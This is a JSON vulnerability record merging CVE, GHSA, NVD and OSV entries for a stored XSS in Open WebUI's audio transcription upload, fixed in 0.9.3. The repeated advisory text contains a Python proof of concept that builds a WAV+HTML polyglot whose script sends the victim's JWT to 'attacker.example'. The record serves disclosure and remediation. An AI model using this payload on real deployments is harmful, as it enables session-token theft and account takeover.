{"id":"CVE-2026-45315","aliases":["EUVD-2026-30656","GHSA-m8f9-9whg-f4xr","PYSEC-2026-2748"],"status":"published","title":"Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","severity":{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00186,"percentile":0.08348,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-434","CWE-646","CWE-79"],"published":"2026-05-14T20:17:58Z","modified":"2026-11-11T20:10:00Z","fixes":[{"ecosystem":"PyPI","package":"open-webui","fixed_in":["0.9.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.9.2"},{"fixed":"0.9.3"}]}]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2"]},{"source":"osv","ecosystem":"PyPI","package":"open-webui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"open-webui","product":"open-webui"},{"vendor":"openwebui","product":"open_webui"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45315","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-m8f9-9whg-f4xr","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45315.json","tags":["advisory"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"]},{"url":"https://pypi.org/project/open-webui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45315","title":"Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","status":"published","published":"2026-05-15T21:26:54.79Z","modified":"2026-05-19T17:19:33.692Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79","CWE-434","CWE-646"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-30656","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","status":"published","published":"2026-05-15T21:26:54Z","modified":"2026-05-19T17:19:33Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:21:15.217097Z"}],"ghsa":[{"id":"GHSA-m8f9-9whg-f4xr","title":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('\u003c4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '\u003cuuid\u003e.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.","status":"published","published":"2026-05-14T20:17:58Z","modified":"2026-05-19T16:02:04Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-79","CWE-434","CWE-646"],"updated_at":"2026-11-02T14:40:12.430932Z"}],"nvd":[{"id":"CVE-2026-45315","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","status":"published","published":"2026-05-15T22:16:54.25Z","modified":"2026-11-11T20:10:00.273Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79","CWE-434","CWE-646"],"updated_at":"2026-11-11T21:26:16.214651Z"}],"osv":[{"id":"CVE-2026-45315","title":"Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","status":"published","published":"2026-05-15T21:26:54.79Z","modified":"2026-10-28T02:30:45.37315419Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-434","CWE-646","CWE-79"],"updated_at":"2026-11-02T15:45:05.525666Z"},{"id":"GHSA-m8f9-9whg-f4xr","title":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('\u003c4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '\u003cuuid\u003e.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.","status":"published","published":"2026-05-14T20:17:58Z","modified":"2026-07-13T16:43:15.862744117Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-434","CWE-646","CWE-79"],"updated_at":"2026-11-02T15:46:51.463834Z"},{"id":"PYSEC-2026-2748","title":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","description":"## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('\u003c4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '\u003cuuid\u003e.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: \u003c= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.","status":"published","published":"2026-07-13T15:19:06.047378Z","modified":"2026-07-13T16:32:21.539006519Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}
